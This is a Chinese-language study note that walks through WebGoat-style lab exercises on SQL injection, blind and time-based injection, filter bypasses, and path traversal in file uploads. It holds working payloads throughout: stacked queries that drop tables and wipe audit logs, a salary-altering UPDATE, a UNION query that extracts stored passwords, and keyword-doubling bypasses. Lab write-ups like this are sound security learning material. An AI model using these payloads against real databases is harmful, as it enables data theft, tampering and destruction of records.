type
status
date
slug
summary
tags
category
icon
password
Injection
2022年11月15日
14:36
SQL Injection (intro)

查找员工表中Bob所在的部门

修改Tobi所在的部门为销售部Sales

为员工表增加手机字段

将表grant_rights的权限赋给用户 unauthorized_user


什么是SQL注入?
SQL注入(也称为SQLi)是最常见的网络黑客技术之一。SQL注入攻击包括通过从客户端到应用程序的SQL查询输入插入或“注入”恶意代码。如果处理不当,SQL注入会严重影响数据完整性和安全性。
当来自客户机的未过滤数据(例如来自搜索字段的输入)进入应用程序本身的SQL解释器时,可能会发生SQL注入。如果应用程序不能正确地消毒用户输入(使用准备好的语句或类似的方法)或针对特殊字符对输入进行过滤,黑客就可以操纵底层SQL语句以达到他们的目的。
例如,如果输入没有过滤SQL元字符,如——(注释掉其余的行)或;(结束SQL查询),可能会导致SQL注入。
例子
SQL注入的用途远不止读取单个用户的数据。以下是黑客可能向表单字段(或任何接受用户输入的地方)输入数据的几个例子,试图利用SQL注入漏洞:
Smith' OR '1' = '1
results in SELECT * FROM users WHERE name = 'Smith' OR TRUE; which will return all entries from the users table将返回users表中的所有条目
Smith' OR 1 = 1; --
results in SELECT * FROM users WHERE name = 'Smith' OR TRUE;--'; which, like the first example, will also return all entries from the users table与第一个示例一样,它也将返回users表中的所有条目
Smith'; DROP TABLE users; TRUNCATE audit_log; --
chains multiple SQL-Commands in order to both DROP the users table and delete all entries from the audit_log table链接多个sql命令,以便同时DROP users表和从audit_log表中删除所有条目
SQL注入的后果一个成功的SQL注入漏洞可以
从数据库中读取和修改敏感数据
在数据库上执行管理操作
关闭审计或DBMS
截断表和日志
添加用户
恢复DBMS文件系统中给定文件的内容
向操作系统发出命令
SQL注入攻击允许攻击者
假的身份
篡改现有数据
造成抵销问题,如取消交易或更改余额
允许完全公开系统上的所有数据
销毁数据或以其他方式使其不可用
成为数据库服务器的管理员
SQL注入的严重程度
SQL注入攻击的严重程度受限于
- 攻击者的技能和想象力
纵深防御对策
输入验证
最低特权
数据库技术
并非所有数据库都支持命令链
并非所有数据库都支持命令链
Microsoft Access
MySQL Connector/J and C
Oracle
SQL注入在PHP、Classic ASP、Cold Fusion和较老的语言中更为常见
不提供参数化查询支持的语言
新版本中添加了参数化查询
web技术的早期采用者(即旧代码)
不是所有的数据库都是一样的(SQL Server)
命令shell: master.dbo。'cmd.exe dir c:'
注册表命令:xp_regread, xp_regdeletekey,…
尝试sql注入查询出所有用户


使用字符串SQL注入损害机密性
如果一个系统容易受到SQL注入的攻击,那么该系统的CIA三位一体的某些方面很容易被破坏(如果您不熟悉CIA三位一体,请查看一般类别中的CIA三位一体课程)。在接下来的三节课中,您将学习如何使用SQL字符串注入或查询链接等技术来折衷CIA三元组的各个方面。
这节课我们来看看保密性。使用SQL注入的攻击者很容易破坏机密性;例如,成功的SQL注入可以允许攻击者从数据库读取敏感数据,如信用卡号码。
什么是字符串SQL注入?
如果应用程序只是通过将用户提供的字符串连接到查询来构建SQL查询,那么应用程序很可能非常容易受到String SQL注入的影响。
更具体地说,如果用户提供的字符串不经过任何处理或准备就直接连接到SQL查询,那么可以通过在输入字段中插入引号来修改查询的行为。例如,您可以用引号结束字符串参数,然后在后面输入您自己的SQL。

修改史密斯的工资!很刑!

1
1'or'1'=1;update employees set salary = '998999' where last_name ='Smith
使用;继续执行更新语句
"SELECT * FROM employees WHERE last_name = '" + 1 + "' AND auth_tan = '" + 1'or'1'=1;update employees set salary = '998999' where last_name ='Smith + "'";

删除日志表中的数据使用drop table命令
- - 注释掉后面的内容
update';drop table access_log;--
特殊字符
注释,常用语闭合sql语句
/ /多行注释
- - ,#单行注释
例如:Example: SELECT * FROM users WHERE name = 'admin' -- AND pass = 'pass'
; 用于连接查询,把前边的语句断开,后边写新的语句
例如:SELECT * FROM users; DROP TABLE users;
',+,|| 字符串拼接
Char() 没有引号的字符串
Example: SELECT * FROM users WHERE name = '+char(27) OR 1=1
UNION
UNION 指令的目的是将两个 SQL 语句的结果合并起来。请注意,UNION 内部的每个 SELECT 语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每个 SELECT 语句中的列的顺序必须相同。另外,当我们用 UNION这个指令时,我们只会看到不同的资料值 (类似 SELECT DISTINCT)。 union只是将两个结果联结起来一起显示,并不是联结两个表
SELECT first_name FROM user_system_data UNION SELECT login_count FROM user_data;
Joins
连接Join操作符用于根据相关列组合来自两个或多个表的行
SELECT * FROM user_data INNER JOIN user_data_tan ON user_data.userid=user_data_tan.userid;

给出两张表,需要在第二张表中查询出Dave的密码,可以使用union连接查询
第一张表中有七个字段,联合查询字段需要保持一直,所以在union后面也需要写出七个字段。
SELECT * FROM user_data WHERE last_name = '1' union select userid,user_name,user_name,user_name,user_name,password,userid from user_system_data;-- '
1' union select userid,user_name,user_name,user_name,user_name,password,userid from user_system_data;--

QL盲注SQL盲注
盲目SQL注入是一种SQL注入攻击,它向数据库询问true或false的问题,并根据应用程序的响应确定答案。当web应用程序被配置为显示通用错误消息时,这种攻击经常被使用,但并没有减少易受SQL注入攻击的代码。
区别
让我们首先从普通SQL注入和盲SQL注入之间的区别开始。在一个普通的SQL注入中,来自数据库的错误消息会被显示出来,并提供足够的信息来找出查询是如何工作的。或者在基于UNION的SQL注入的情况下,应用程序不直接在web页面上反映信息。因此,在什么都没有显示的情况下,您需要开始根据真假语句向数据库询问问题。这就是为什么盲SQL注入更难以利用的原因。
有几种不同类型的盲SQL注入:基于内容的SQL注入和基于时间的SQL注入。例子在这种情况下,我们试图向数据库提出一个基于唯一id的布尔问题,例如,假设我们有以下url: https://my-shop.com?article=4在服务器端,这个查询将被翻译如下:
SELECT * FROM article WHERE article_id = 4
当我们想要利用它时,我们将url更改为:https://shop.example.com?article=4 AND 1=1 这将被翻译成
:SELECT * FROM article_id = 4 and 1 = 1
如果浏览器返回的页面与使用https://shop.example.com?article=4时相同,则说明该网站容易受到盲目SQL注入的攻击。如果浏览器的响应是找不到页面或出现其他情况,那么盲SQL注入可能不起作用。您现在可以更改SQL查询和测试,例如:https://shop.example.com?article=4 and 1=2,它不会返回任何内容,因为查询返回false。
我们如何利用这一点呢?上面我们只问了数据库一个简单的问题,但是您也可以使用以下url:
https://shop.example.com?article=4 AND substring(database_version(),1,1) = 2
大多数情况下,您可以从查找使用的数据库类型开始,根据数据库的类型可以查找数据库的系统表,从而枚举数据库中出现的所有表。有了这些信息,您就可以开始从所有表中获取信息,并且能够转储数据库。请注意,如果数据库的权限设置正确(意味着无法使用用于从web应用程序连接到数据库的用户查询系统表),则此方法可能无法工作。
另一种方法被称为基于时间的SQL注入,在这种情况下,您将要求数据库在返回结果之前等待。如果你完全失明,你可能需要使用这个。这意味着响应数据之间没有差异。要实现这种SQL注入,你可以使用:
article = 4; sleep(10) --

在注册框中使用tom'and'1'='1

使用tom'and'1'='2

此处存在sql注入
使用username_reg=tom'and length(password)>0--+猜测密码字段长度

得到User {0} already exists说明字段正确,使用username_reg=tom'and length(password)>0--+逐步排查长度
在username_reg=tom'and length(password)>23--+时得到"User tom'and length(password)>23-- created, please proceed to the login page.",

说明密码为22位。
使用bp进行暴力破解

1-5主要说明参数化查询对sql注入的防护
这里最主要引用的是JDBC框架的使用
6.
try {
Connection conn = DriverManager.getConnection(DBURL, DBUSER, DBPW);
System.out.println(conn); //should output 'null'
String sqlQuery = " select * from users where name = ?";
PreparedStatement prepStmt = conn.prepareStatement(sqlQuery);
prepStmt.setLong(1, dawei);
ResultSet results = prepStmt.executeQuery();
} catch (Exception e) {
System.out.println("Oops. Something went wrong!");
}
7.Input validation alone is not enough!!
特殊字符会被过滤
使用/**/代替空格
1';select*from//user_system_data//--

10.Input validation alone is not enough!!
使用特殊字符和关键字会被过滤
使用双写和/**/代替空格注入
1';selselectect*frofromm/**/user_system_data--
其他绕过空格和关键字的方式建议直接百度
文件上传漏洞

可以看出最后的目录是以Full Name命名的,使用在Full Name前使用../以进入上一级目录。
3.使用../会被删除
使用双写绕过
4.

使用工具抓包,修改filename可发现返回的参数中也带有filename